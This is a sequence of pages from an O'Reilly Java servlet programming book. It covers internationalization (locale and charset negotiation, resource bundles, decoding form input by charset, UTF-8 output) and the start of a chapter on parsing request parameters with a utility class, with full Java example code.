import com.oreilly.servlet.ServletUtils;

public class HelloRosetta extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    Locale locale;
    DateFormat full;

    try {
      res.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = res.getWriter();

      locale = new Locale("en", "US");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("In English appropriate for the US:");
      out.println("Hello World!");
      out.println(full.format(new Date()));
      out.println();

      locale = new Locale("es", "");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("En Espa\u00f1ol:");
      out.println("\u00a1Hola Mundo!");
      out.println(full.format(new Date()));
      out.println();

      locale = new Locale("ja", "");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("In Japanese:");
      out.println("\u4eca\u65e5\u306f\u4e16\u754c");
      out.println(full.format(new Date()));
      out.println();

      locale = new Locale("zh", "");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("In Chinese:");
      out.println("\u4f60\u597d\u4e16\u754c");
      out.println(full.format(new Date()));
      out.println();

      locale = new Locale("ko", "");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("In Korean:");
      out.println("\uc548\ub155\ud558\uc138\uc694\uc138\uacc4");
      out.println(full.format(new Date()));
      out.println();

      locale = new Locale("ru", "");
      full = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                            DateFormat.LONG,
                                            locale);
      out.println("In Russian (Cyrillic):");
      out.print("\u0417\u0434\u0440\u0430\u0432\u0441\u0442");
      out.println("\u0432\u0443\u0439, \u041c\u0438\u0440");
      out.println(full.format(new Date()));
      out.println();
    }
    catch (Exception e) {
      log(ServletUtils.getStackTraceAsString(e));
    }
  }
}

Figure 12-5. A true hello world

For this servlet to work as written, your server must support JDK 1.1.6 or later. Earlier versions of Java throw an UnsupportedEncodingException when trying to get the PrintWriter, and the page is left blank. The problem is a missing charset alias. Java has had support for the UTF-8 encoding since JDK 1.1 was first introduced. Unfortunately, the JDK used the name "UTF8" for the encoding, while browsers expect the name "UTF-8." So, who's right? It wasn't clear until early 1998, when the IANA (Internet Assigned Numbers Authority) declared "UTF-8" to be the preferred name. (See http://www.isi.edu/in-notes/iana/assignments/character-sets.) Shortly thereafter, JDK 1.1.6 added "UTF-8" as an alternate alias for the "UTF8" encoding. For maximum portability across Java versions, you can use the "UTF8" name directly with the following code:

res.setContentType("text/html; charset=UTF-8");
PrintWriter out = new PrintWriter(
  new OutputStreamWriter(res.getOutputStream(), "UTF8"), true);

Also, your client must support the UTF-8 encoding and have access to all the necessary fonts. Otherwise, some of your output is likely to appear garbled.

Previous | Home | Next
12.3. Non-Western European Languages | Book Index | 12.5. Dynamic Language Negotiation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dynamic Language Negotiation (Java Servlet Programming)

 Java Servlet Programming Search this book

12.5. Dynamic Language Negotiation

Now let's push the envelope yet a little farther (perhaps off the edge of the table) with a servlet that tailors its output to match the language preferences of the client. This allows the same URL to serve its content to readers across the globe in their native tongues.

12.5.1. Language Preferences

There are two ways a servlet can know the language preferences of the client. First, the browser can send the information as part of its request. Newer browsers, such as Netscape Navigator 4 and Microsoft Internet Explorer 4, allow users to specify their preferred languages. With Netscape Navigator 4, this is done under Edit | Preferences | Navigator | Languages. With Microsoft Internet Explorer 4, it's done under View | Internet Options | General | Languages.

A browser sends the user's language preferences to the server using the Accept-Language HTTP header. The value of this header specifies the language or languages that the client prefers to receive. Note that the HTTP specification allows this preference to be ignored. An Accept-Language header value looks something like the following:

en, es, de, ja, zh-TW

This indicates the client user reads English, Spanish, German, Japanese, and Chinese appropriate for Taiwan. By convention, languages are listed in order of preference. Each language may also include a q-value that indicates, on a scale from 0.0 to 1.0, an estimate of the user's preference for that language. The default q-value is 1.0 (maximum preference). An Accept-Language header value including q-values looks like this:

en, es;q=0.8, de;q=0.7, ja;q=0.3, zh-TW;q=0.1

This header value means essentially the same thing as the previous example.

The second way a servlet can know the language preferences of the client is by asking. For example, a servlet might generate a form that asks which language the client prefers. Thereafter, it can remember and use the answer, perhaps using the session tracking techniques discussed in Chapter 7, "Session Tracking".

12.5.2. Charset Preferences

In addition to an Accept-Language HTTP header, a browser may send an Accept-Charset header that tells the server which charsets it understands. An Accept-Charset header value may look something like this:

iso-8859-1, utf-8

This indicates the browser understands ISO-8859-1 and UTF-8. If the Accept-Charset isn't sent or if its value contains an asterisk (*), it can be assumed the client accepts all charsets. Note that the current usefulness of this header is limited: few browsers yet send the header, and those browsers that do tend to send a value that contains an asterisk.

12.5.3. Resource Bundles

Using Accept-Language (and, in some cases, Accept-Charset), a servlet can determine the language in which it will speak to each client. But how can a servlet efficiently manage several localized versions of a page? One answer is to use Java's built-in support for resource bundles.

A resource bundle holds a set of localized resources appropriate for a given locale. For example, a resource bundle for the French locale might contain a French translation of all the phrases output by a servlet. Then, when the servlet determines it wants to speak French, it can load that resource bundle and use the stored phrases. All resource bundles extend java.util.ResourceBundle. A servlet can load a resource bundle using the static method ResourceBundle.getBundle() :

public static final
  ResourceBundle ResourceBundle.getBundle(String bundleName, Locale locale)

A servlet can pull phrases from a resource bundle using the getString() method of ResourceBundle :

public final String ResourceBundle.getString(String key)

A resource bundle can be created in several ways. For servlets, the most useful technique is to put a special properties file in the server's classpath that contains the translated phrases. The file should be specially named according to the pattern bundlename_language.properties or bundlename_language_country.properties. For example, use Messages_fr.properties for a French bundle or Messages_zh_TW.properties for a Chinese/Taiwan bundle. The file should contain US-ASCII characters in the following format:

name1=value1
name2=value2
...

Each line may also contain whitespace and Unicode escapes. The information in this file can be loaded automatically by the getBundle() method.

12.5.4. Writing To Each His Own

Example 12-8 demonstrates the use of Accept-Language, Accept-Charset, and resource bundles with a servlet that says "Hello World" to each client in that client's own preferred language. Here's a sample resource bundle properties file for English, which you would store in HelloBabel_en.properties somewhere in the server's classpath (such as server_root/classes):

greeting=Hello world

And here's a resource bundle for Japanese, to be stored in HelloBabel_ja.properties:

greeting=\u4eca\u65e5\u306f\u4e16\u754c

This HelloBabel servlet uses the com.oreilly.servlet.LocaleNegotiator class that contains the black box logic to determine which Locale, charset, and ResourceBundle should be used. Its code is shown in the next section.

Example 12-8. A servlet version of the Tower of Babel

import java.io.*;
import java.util.*;
import java.text.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.LocaleNegotiator;
import com.oreilly.servlet.ServletUtils;

public class HelloBabel extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    try {
      String bundleName = "HelloBabel";
      String acceptLanguage = req.getHeader("Accept-Language");
      String acceptCharset = req.getHeader("Accept-Charset");

      LocaleNegotiator negotiator =
        new LocaleNegotiator(bundleName, acceptLanguage, acceptCharset);

      Locale locale = negotiator.getLocale();
      String charset = negotiator.getCharset();
      ResourceBundle bundle = negotiator.getBundle();  // may be null

      res.setContentType("text/plain; charset=" + charset);
      res.setHeader("Content-Language", locale.getLanguage());
      res.setHeader("Vary", "Accept-Language");

      PrintWriter out = res.getWriter();

      DateFormat fmt = DateFormat.getDateTimeInstance(DateFormat.LONG,
                                                      DateFormat.LONG,
                                                      locale);
      if (bundle != null) {
        out.println("In " + locale.getDisplayLanguage() + ":");
        out.println(bundle.getString("greeting"));
        out.println(fmt.format(new Date()));
      }
      else {
        out.println("Bundle could not be found.");
      }
    }
    catch (Exception e) {
      log(ServletUtils.getStackTraceAsString(e));
    }
  }
}

This servlet begins by setting the name of the bundle it wants to use, and then it retrieves its Accept-Language and Accept-Charset headers. It creates a LocaleNegotiator, passing in this information, and quickly asks the negotiator which Locale, charset, and ResourceBundle it is to use. Note that a servlet may ignore the returned charset in favor of the UTF-8 encoding. Just remember, UTF-8 is not as widely supported as the charsets normally returned by LocaleNegotiator. Next, the servlet sets its headers: its Content-Type header specifies the charset, Content-Language specifies the locale's language, and the Vary header indicates to the client (if by some chance it should care) that this servlet can vary its output based on the client's Accept-Language header.

Once the headers are set, the servlet generates its output. It first gets a PrintWriter to match the charset. Then it says--in the default language, usually English--which language the greeting is to be in. Next, it retrieves and outputs the appropriate greeting from the resource bundle. And lastly, it prints the date and time appropriate to the client's locale. If the resource bundle is null, as happens when there are no resource bundles to match the client's preferences, the servlet simply reports that no bundle could be found.

12.5.5. The LocaleNegotiator Class

The code for LocaleNegotiator is shown in Example 12-9. Its helper class, LocaleToCharsetMap , is shown in Example 12-10. If you are happy to treat the locale negotiator as a black box, feel free to skip this section.

LocaleNegotiator works by scanning through the client's language preferences looking for any language for which there is a corresponding resource bundle. Once it finds a correspondence, it uses LocaleToCharsetMap to determine the charset. If there's any problem, it tries to fall back to U.S. English. The logic ignores the client's charset preferences.

The most complicated aspect of the LocaleNegotiator code is having to deal with the unfortunate behavior of ResourceBundle.getBundle() . The getBundle() method attempts to act intelligently. If it can't find a resource bundle that is an exact match to the specified locale, it tries to find a close match. The problem, for our purposes, is that getBundle() considers the resource bundle for the default locale to be a close match. Thus, as we loop through client languages, it's difficult to determine when we have an exact resource bundle match and when we don't. The workaround is to first fetch the ultimate fallback resource bundle, then use that reference later to determine when there is an exact match. This logic is encapsulated in the getBundleNoFallback() method.

Example 12-9. The LocaleNegotiator class

package com.oreilly.servlet;

import java.io.*;
import java.util.*;

import com.oreilly.servlet.LocaleToCharsetMap;

public class LocaleNegotiator {

  private ResourceBundle chosenBundle;
  private Locale chosenLocale;
  private String chosenCharset;

  public LocaleNegotiator(String bundleName,
                          String languages,
                          String charsets) {

    // Specify default values:
    //   English language, ISO-8859-1 (Latin-1) charset, English bundle
    Locale defaultLocale = new Locale("en", "US");
    String defaultCharset = "ISO-8859-1";
    ResourceBundle defaultBundle = null;
    try {
      defaultBundle = ResourceBundle.getBundle(bundleName, defaultLocale);
    }
    catch (MissingResourceException e) {
      // No default bundle was found. Flying without a net.
    }

    // If the client didn't specify acceptable languages, we can keep
    // the defaults.
    if (languages == null) {
      chosenLocale = defaultLocale;
      chosenCharset = defaultCharset;
      chosenBundle = defaultBundle;
      return;  // quick exit
    }

    // Use a tokenizer to separate acceptable languages
    StringTokenizer tokenizer = new StringTokenizer(languages, ",");

    while (tokenizer.hasMoreTokens()) {
      // Get the next acceptable language.
      // (The language can look something like "en; qvalue=0.91")
      String lang = tokenizer.nextToken();

      // Get the locale for that language
      Locale loc = getLocaleForLanguage(lang);

      // Get the bundle for this locale. Don't let the search fallback
      // to match other languages!
      ResourceBundle bundle = getBundleNoFallback(bundleName, loc);

      // The returned bundle is null if there's no match. In that case
      // we can't use this language since the servlet can't speak it.
      if (bundle == null) continue;  // on to the next language

      // Find a charset we can use to display that locale's language.
      String charset = getCharsetForLocale(loc, charsets);

      // The returned charset is null if there's no match. In that case
      // we can't use this language since the servlet can't encode it.
      if (charset == null) continue;  // on to the next language

      // If we get here, there are no problems with this language.
      chosenLocale = loc;
      chosenBundle = bundle;
      chosenCharset = charset;
      return;  // we're done
    }

    // No matches, so we let the defaults stand
    chosenLocale = defaultLocale;
    chosenCharset = defaultCharset;
    chosenBundle = defaultBundle;
  }

  public ResourceBundle getBundle() {
    return chosenBundle;
  }

  public Locale getLocale() {
    return chosenLocale;
  }

  public String getCharset() {
    return chosenCharset;
  }

  private Locale getLocaleForLanguage(String lang) {
    Locale loc;
    int semi, dash;

    // Cut off any q-value that might come after a semi-colon
    if ((semi = lang.indexOf(';')) != -1) {
      lang = lang.substring(0, semi);
    }

    // Trim any whitespace
    lang = lang.trim();

    // Create a Locale from the language. A dash may separate the
    // language from the country.
    if ((dash = lang.indexOf('-')) == -1) {
      loc = new Locale(lang, "");  // No dash, no country
    }
    else {
      loc = new Locale(lang.substring(0, dash), lang.substring(dash+1));
    }

    return loc;
  }

  private ResourceBundle getBundleNoFallback(String bundleName, Locale loc) {

    // First get the fallback bundle -- the bundle that will be selected
    // if getBundle() can't find a direct match. This bundle can be
    // compared to the bundles returned by later calls to getBundle() in
    // order to detect when getBundle() finds a direct match.
    ResourceBundle fallback = null;
    try {
      fallback =
        ResourceBundle.getBundle(bundleName, new Locale("bogus", ""));
    }
    catch (MissingResourceException e) {
      // No fallback bundle was found.
    }

    try {
      // Get the bundle for the specified locale
      ResourceBundle bundle = ResourceBundle.getBundle(bundleName, loc);

      // Is the bundle different than our fallback bundle?
      if (bundle != fallback) {
        // We have a real match!
        return bundle;
      }
      // So the bundle is the same as our fallback bundle.
      // We can still have a match, but only if our locale's language
      // matches the default locale's language.
      else if (bundle == fallback &&
            loc.getLanguage().equals(Locale.getDefault().getLanguage())) {
        // Another way to match
        return bundle;
      }
      else {
        // No match, keep looking
      }
    }
    catch (MissingResourceException e) {
      // No bundle available for this locale
    }

    return null;  // no match
  }

  protected String getCharsetForLocale(Locale loc, String charsets) {
    // Note: This method ignores the client-specified charsets
    return LocaleToCharsetMap.getCharset(loc);
  }
}

Example 12-10. The LocaleToCharsetMap class

package com.oreilly.servlet;

import java.util.*;

public class LocaleToCharsetMap {

  private static Hashtable map;

  static {
    map = new Hashtable();

    map.put("ar", "ISO-8859-6");
    map.put("be", "ISO-8859-5");
    map.put("bg", "ISO-8859-5");
    map.put("ca", "ISO-8859-1");
    map.put("cs", "ISO-8859-2");
    map.put("da", "ISO-8859-1");
    map.put("de", "ISO-8859-1");
    map.put("el", "ISO-8859-7");
    map.put("en", "ISO-8859-1");
    map.put("es", "ISO-8859-1");
    map.put("et", "ISO-8859-1");
    map.put("fi", "ISO-8859-1");
    map.put("fr", "ISO-8859-1");
    map.put("he", "ISO-8859-8");
    map.put("hr", "ISO-8859-2");
    map.put("hu", "ISO-8859-2");
    map.put("is", "ISO-8859-1");
    map.put("it", "ISO-8859-1");
    map.put("iw", "ISO-8859-8");
    map.put("ja", "Shift_JIS");
    map.put("ko", "EUC-KR");     // Requires JDK 1.1.6
    map.put("lt", "ISO-8859-2");
    map.put("lv", "ISO-8859-2");
    map.put("mk", "ISO-8859-5");
    map.put("nl", "ISO-8859-1");
    map.put("no", "ISO-8859-1");
    map.put("pl", "ISO-8859-2");
    map.put("pt", "ISO-8859-1");
    map.put("ro", "ISO-8859-2");
    map.put("ru", "ISO-8859-5");
    map.put("sh", "ISO-8859-5");
    map.put("sk", "ISO-8859-2");
    map.put("sl", "ISO-8859-2");
    map.put("sq", "ISO-8859-2");
    map.put("sr", "ISO-8859-5");
    map.put("sv", "ISO-8859-1");
    map.put("tr", "ISO-8859-9");
    map.put("uk", "ISO-8859-5");
    map.put("zh", "GB2312");
    map.put("zh_TW", "Big5");
  }

  public static String getCharset(Locale loc) {
    String charset;

    // Try for a full name match (may include country)
    charset = (String) map.get(loc.toString());
    if (charset != null) return charset;

    // If a full name didn't match, try just the language
    charset = (String) map.get(loc.getLanguage());
    return charset;  // may be null
  }
}

12.5.6. Future Directions

In the future, you can expect to see improved internationalization support in the Servlet API and in Java itself. Some likely areas for improvement are these:

  • Support for additional charsets, especially those charsets that are commonly used on the Web.

  • New classes that help an application support multiple languages at the same time. These classes will make it easier for servlets to present information to the user using one language, while using another language for administrative tasks such as logging.

  • New classes that support language negotiation using a list of multiple locales. These classes will act in a similar fashion to LocaleNegotiator.

Previous | Home | Next
12.4. Multiple Languages | Book Index | 12.6. HTML Forms
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTML Forms (Java Servlet Programming)

 Java Servlet Programming Search this book

12.6. HTML Forms

Managing HTML forms requires a little extra work and a few special tricks when you're dealing with localized content. To understand the problem, imagine this situation. An HTML form is sent as part of a Japanese page. It asks the user for his name, which he enters as a string of Japanese characters. How is that name submitted to the servlet? And, more importantly, how can the servlet read it?

The answer to the first question is that all HTML form data is sent as a sequence of bytes. Those bytes are an encoded representation of the original characters. With Western European languages, the encoding is the default, ISO-8859-1, with one byte per character. For other languages, there can be other encodings. Browsers tend to encode form data using the same encoding that was applied to the page containing the form. Thus, if the Japanese page mentioned was encoded using Shift_JIS, the submitted form data would also be encoded using Shift_JIS. Note, however, that if the page did not specify a charset and the user had to manually choose Shift_JIS encoding for viewing, many browsers stubbornly submit the form data using ISO-8859-1.[5] Generally, the encoded byte string contains a large number of special bytes that have to be URL-encoded. For example, if we assume the Japanese form sends the user's name using a GET request, the resulting URL might look like this:

[5] For more information on the internationalization of HTML and HTML forms, see RFC 2070 at http://www.ietf.org/rfc/rfc2070.txt.

http://server:port/servlet/NameHandler?name=%8CK%8C%B4%90%B3%8E%9F

The answer to the second question, how can a servlet read the submitted information, is a bit more complicated. A servlet has two choices. First, a servlet can leave the form data in its raw encoded format, treating it essentially like a sequence of bytes--with each byte awkwardly stored as a character in the parameter string. This tactic is useful only if the servlet does not need to manipulate the data and can be sure that the data is output only to the same user using the same charset. Alternatively, a servlet can convert the form data from its native encoded format to a Java-friendly Unicode string. This allows the servlet to freely manipulate the text and output the text using alternate charsets. There is one problem with this plan, however. Browsers currently provide no information to indicate which encoding was used on the form data. Browsers may provide that information in the future (using the Content-Type header in a POST, most likely), but for now, the servlet is left responsible for tracking that information.

12.6.1. The Hidden Charset

The commonly accepted technique for tracking the charset of submitted form data is to use a hidden charset form field.[6] Its value should be set to the charset of the page in which it is contained. Then, any servlet receiving the form can read the value of the charset field and know how to decode the submitted form data.

[6]Hidden form fields, if you remember, were first discussed in Chapter 7, "Session Tracking", where they were used for session tracking.

Example 12-11 demonstrates this technique with a form generator that sets the charset to match the charset of the page. Here's an English resource bundle that might accompanying the servlet, stored as CharsetForm_en.properties:

title=CharsetForm
header=<H1>Charset Form</H1>
prompt=Enter text:

And here's a Japanese resource, to be stored as CharsetForm_ja.properties:

title=CharsetForm
header=<H1>\u6587\u5b57\u30bb\u30c3\u30c8\u30fb\u30d5\u30a9\u30fc\u30e0</H1>
prompt=\u30c6\u30ad\u30b9\u30c8\u3092\u5165\u529b\u3057\u3066\u304f\u3060\
\u3055\u3044

A screen shot of the Japanese version is shown in Figure 12-6.

Example 12-11. Saving the charset in a hidden form field

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.LocaleNegotiator;
import com.oreilly.servlet.ServletUtils;

public class CharsetForm extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    try {
      String bundleName = "CharsetForm";
      String acceptLanguage = req.getHeader("Accept-Language");
      String acceptCharset = req.getHeader("Accept-Charset");

      LocaleNegotiator negotiator =
        new LocaleNegotiator(bundleName, acceptLanguage, acceptCharset);

      Locale locale = negotiator.getLocale();
      String charset = negotiator.getCharset();
      ResourceBundle bundle = negotiator.getBundle();  // may be null

      res.setContentType("text/html; charset=" + charset);
      res.setHeader("Content-Language", locale.getLanguage());
      res.setHeader("Vary", "Accept-Language");

      PrintWriter out = res.getWriter();

      if (bundle != null) {
        out.println("<HTML><HEAD><TITLE>");
        out.println(bundle.getString("title"));
        out.println("</TITLE></HEAD>");
        out.println("<BODY>");
        out.println(bundle.getString("header"));
        out.println("<FORM ACTION=/servlet/CharsetAction METHOD=get>");
        out.println("<INPUT TYPE=hidden NAME=charset value=" + charset + ">");
        out.println(bundle.getString("prompt"));
        out.println("<INPUT TYPE=text NAME=text>");
        out.println("</FORM>");
        out.println("</BODY></HTML>");
      }
      else {
        out.println("Bundle could not be found.");
      }
    }
    catch (Exception e) {
      log(ServletUtils.getStackTraceAsString(e));
    }
  }
}

Figure 12-6. A Japanese form, with the user entering text

The servlet responsible for handling the submitted form is shown in Example 12-12. This servlet reads the submitted text and converts it to Unicode, then outputs the characters using the UTF-8 encoding. As a bonus, it also displays the received string as a Unicode escape string, showing what you would have to enter in a Java source file or resource bundle to create the same output. This lets the servlet act as a web-based native charset to Unicode string translator. Sample output is shown in Figure 12-7.

Example 12-12. Receiving the charset in a hidden form field

import java.io.*;
import java.text.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class CharsetAction extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    try {
      res.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = res.getWriter();

      String charset = req.getParameter("charset");

      // Get the text parameter
      String text = req.getParameter("text");

      // Now convert it from an array of bytes to an array of characters.
      // Do this using the charset that was sent as a hidden field.
      // Here we bother to read only the first line.
      BufferedReader reader = new BufferedReader(
        new InputStreamReader(new StringBufferInputStream(text), charset));
      text = reader.readLine();

      out.println("Received charset: " + charset);
      out.println("Received text: " + text);
      out.println("Received text (escaped): " + toUnicodeEscapeString(text));
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  private static String toUnicodeEscapeString(String str) {
    // Modeled after the code in java.util.Properties.save()
    StringBuffer buf = new StringBuffer();
    int len = str.length();
    char ch;
    for (int i = 0; i < len; i++) {
      ch = str.charAt(i);
      switch (ch) {
        case '\\': buf.append("\\\\"); break;
        case '\t': buf.append("\\t"); break;
        case '\n': buf.append("\\n"); break;
        case '\r': buf.append("\\r"); break;

        default:
          if (ch >= ' ' && ch <= 127) {
            buf.append(ch);
          }
          else {
            buf.append('\\');
            buf.append('u');
            buf.append(toHex((ch >> 12) & 0xF));
            buf.append(toHex((ch >>  8) & 0xF));
            buf.append(toHex((ch >>  4) & 0xF));
            buf.append(toHex((ch >>  0) & 0xF));
          }
      }
    }
    return buf.toString();
  }

  private static char toHex(int nibble) {
    return hexDigit[(nibble & 0xF)];
  }

  private static char[] hexDigit = {
    '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
  };
}

Figure 12-7. Handling a Japanese form

The most interesting part of this servlet is the bit that receives and converts the submitted text.

String text = req.getParameter("text");
BufferedReader reader = new BufferedReader(
  new InputStreamReader(new StringBufferInputStream(text), charset));
text = reader.readLine();

The first line receives the text in its raw format. Although it's stored as a String, it's not a true String. Each character in the String stores one byte of the encoded text. The second and third lines wrap the text with a StringBufferInputStream, an InputStreamReader, and a BufferedReader. The decoding happens with the InputStreamReader, whose constructor accepts the encoding specified by the charset field. Finally, the BufferedReader wraps around the InputStreamReader for convenience. This lets us receive the text one line at a time, as shown in the fourth line.

Previous | Home | Next
12.5. Dynamic Language Negotiation | Book Index | 12.7. Receiving Multilingual Input
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Receiving Multilingual Input (Java Servlet Programming)

 Java Servlet Programming Search this book

12.7. Receiving Multilingual Input

We need to discuss one more aspect of internationalization: receiving multilingual input. It's actually quite simple for a servlet to receive multilingual character data. The ServletRequest.getReader() method handles the task automatically. It returns a BufferedReader specially built to read the character encoding of the input data. For example, if the Content-Type of the servlet's input is "text/html; charset=Shift_JIS", the BufferedReader is one that reads Shift_JIS characters.

Because getReader() works automatically, it means our Deblink servlet and other chained servlets found throughout the book are already multilingual friendly. No matter what charset is used for the content they receive, they always read the input characters correctly using getReader().

Example 12-13 shows another servlet that uses getReader(). This servlet is designed to be the last servlet in a chain. It uses getReader() to read its input as character data, then outputs the characters using the UTF-8 encoding.

Example 12-13. UTF-8 encoder

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class UTF8 extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    try {
      // Get a reader to read the incoming data
      BufferedReader reader = req.getReader();

      // Get a writer to write the data in UTF-8
      res.setContentType("text/html; charset=UTF-8");
      PrintWriter out = res.getWriter();

      // Read and write 4K chars at a time
      // (Far more efficient than reading and writing a line at a time)
      char[] buf = new char[4 * 1024];  // 4Kchar buffer
      int len;
      while ((len = reader.read(buf, 0, buf.length)) != -1) {
        out.write(buf, 0, len);
      }
    }
    catch (Exception e) {
      getServletContext().log(e, "Problem filtering page to UTF-8");
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                         throws ServletException, IOException {
    doGet(req, res);
  }
}

Sometimes it's useful for a servlet to determine the charset of its input. For this you can use the getCharacterEncoding() method of ServletRequest, introduced in the Servlet API 2.0. Note that this method does not exist in the Java Web Server 1.1.x implementation of ServletRequest, as the method was added between the release of the Java Web Server 1.1 and the official Servlet API 2.0 release with JSDK 2.0. For maximum portability you can do what getReader() does and fetch the request's content type using getContentType(). Any charset information can be found in the content type following the "charset=" tag.

Previous | Home | Next
12.6. HTML Forms | Book Index | 13. Odds and Ends
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Odds and Ends (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 13. Odds and Ends

Contents:

Parsing Parameters
Sending Email
Using Regular Expressions
Executing Programs
Using Native Methods
Acting as an RMI Client
Debugging
Performance Tuning

Every house has a junk drawer--a drawer loaded to the brim with odds and ends that don't exactly fit into any organized drawer and yet can't be thrown away because when they're needed they're really needed. This chapter is like that drawer. It holds a whole slew of useful servlet examples and tips that don't really fit anywhere else. Included are servlets that parse parameters, send email, execute programs, use regular expression engines, use native methods, and act as RMI clients. There's also a demonstration of basic debugging techniques, along with some suggestions for servlet performance tuning.

13.1. Parsing Parameters

If you've tried your hand at writing your own servlets as you've read through this book, you've probably noticed how awkward it can be to get and parse request parameters, especially when the parameters have to be converted to some non-String format. For example, let's assume you want to fetch the count parameter and get its value as an int. Furthermore, let's assume you want to handle error conditions by calling handleNoCount() if count isn't given and handleMalformedCount() if count cannot be parsed as an integer. To do this using the standard Servlet API requires the following code:

int count;

String param = req.getParameter("count");
if (param == null || param.length() == 0) {
  handleNoCount();
}
else {
  try {
    count = Integer.parseInt(param);
  }
  catch (NumberFormatException e) {
    handleMalformedCount();
  }
}

Does this look like any code you've written? It's not very pretty, is it? A better solution is to hand off the responsibility for getting and parsing parameters to a utility class. The com.oreilly.servlet.ParameterParser class is just such a class. By using ParameterParser, we can rewrite the previous code to be more elegant:

int count;

ParameterParser parser = new ParameterParser(req);
try {
  count = parser.getIntParameter("count");
}
catch (NumberFormatException e) {
  handleMalformedCount();
}
catch (ParameterNotFoundException e) {
  handleNoCount();
}

The parameter parser's getIntParameter() method returns the specified parameter's value as an int. It throws a NumberFormatException if the parameter cannot be converted to an int and a ParameterNotFoundException if the parameter isn't part of the request. It also throws ParameterNotFoundException if the parameter had a value of the empty string. This often happens with form submissions for text fields when nothing is entered, something that for all intents and purposes should be treated the same as a missing parameter.

If it's enough that a servlet use a default value if there's a problem with a parameter, as is often the case, the code can be simplified even further:

ParameterParser parser = new ParameterParser(req);
int count = parser.getIntParameter("count", 0);

This second version of getIntParameter() takes a default value of 0 that is returned in lieu of throwing an exception.

13.1.1. ParameterParser Code

The ParameterParser class contains more than a dozen methods that return request parameters--two for each of Java's native types. It also has two getStringParameter() methods in case you want to get the parameter in its raw String format. The code for ParameterParser is provided in Example 13-1; ParameterNotFoundException is in Example 13-2.

Example 13-1. The ParameterParser class

package com.oreilly.servlet;

import java.io.*;
import javax.servlet.*;

public class ParameterParser {

  private ServletRequest req;

  public ParameterParser(ServletRequest req) {
    this.req = req;
  }

  public String getStringParameter(String name)
      throws ParameterNotFoundException {
    // Use getParameterValues() to avoid the once-deprecated getParameter()
    String[] values = req.getParameterValues(name);
    if (values == null)
      throw new ParameterNotFoundException(name + " not found");
    else if (values[0].length() == 0)
      throw new ParameterNotFoundException(name + " was empty");
    else
      return values[0];  // ignore multiple field values
  }

  public String getStringParameter(String name, String def) {
    try { return getStringParameter(name); }
    catch (Exception e) { return def; }
  }

  public boolean getBooleanParameter(String name)
      throws ParameterNotFoundException {
    return new Boolean(getStringParameter(name)).booleanValue();
  }

  public boolean getBooleanParameter(String name, boolean def) {
    try { return getBooleanParameter(name); }
    catch (Exception e) { return def; }
  }

  public byte getByteParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return Byte.parseByte(getStringParameter(name));
  }

  public byte getByteParameter(String name, byte def) {
    try { return getByteParameter(name); }
    catch (Exception e) { return def; }
  }

  public char getCharParameter(String name)
      throws ParameterNotFoundException {
    String param = getStringParameter(name);
    if (param.length() == 0)  // shouldn't be possible
      throw new ParameterNotFoundException(name + " is empty string");
    else
      return (param.charAt(0));
  }

  public char getCharParameter(String name, char def) {
    try { return getCharParameter(name); }
    catch (Exception e) { return def; }
  }

  public double getDoubleParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return new Double(getStringParameter(name)).doubleValue();
  }

  public double getDoubleParameter(String name, double def) {
    try { return getDoubleParameter(name); }
    catch (Exception e) { return def; }
  }

  public float getFloatParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return new Float(getStringParameter(name)).floatValue();
  }

  public float getFloatParameter(String name, float def) {
    try { return getFloatParameter(name); }
    catch (Exception e) { return def; }
  }

  public int getIntParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return Integer.parseInt(getStringParameter(name));
  }

  public int getIntParameter(String name, int def) {
    try { return getIntParameter(name); }
    catch (Exception e) { return def; }
  }

  public long getLongParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return Long.parseLong(getStringParameter(name));
  }

  public long getLongParameter(String name, long def) {
    try { return getLongParameter(name); }
    catch (Exception e) { return def; }
  }

  public short getShortParameter(String name)
      throws ParameterNotFoundException, NumberFormatException {
    return Short.parseShort(getStringParameter(name));
  }

  public short getShortParameter(String name, short def) {
    try { return getShortParameter(name); }
    catch (Exception e) { return def; }
  }
}

Example 13-2. The ParameterNotFoundException class

package com.oreilly.servlet;

public class ParameterNotFoundException extends Exception {

  public ParameterNotFoundException() {
    super();
  }

  public ParameterNotFoundException(String s) {
    super(s);
  }
}
Previous | Home | Next
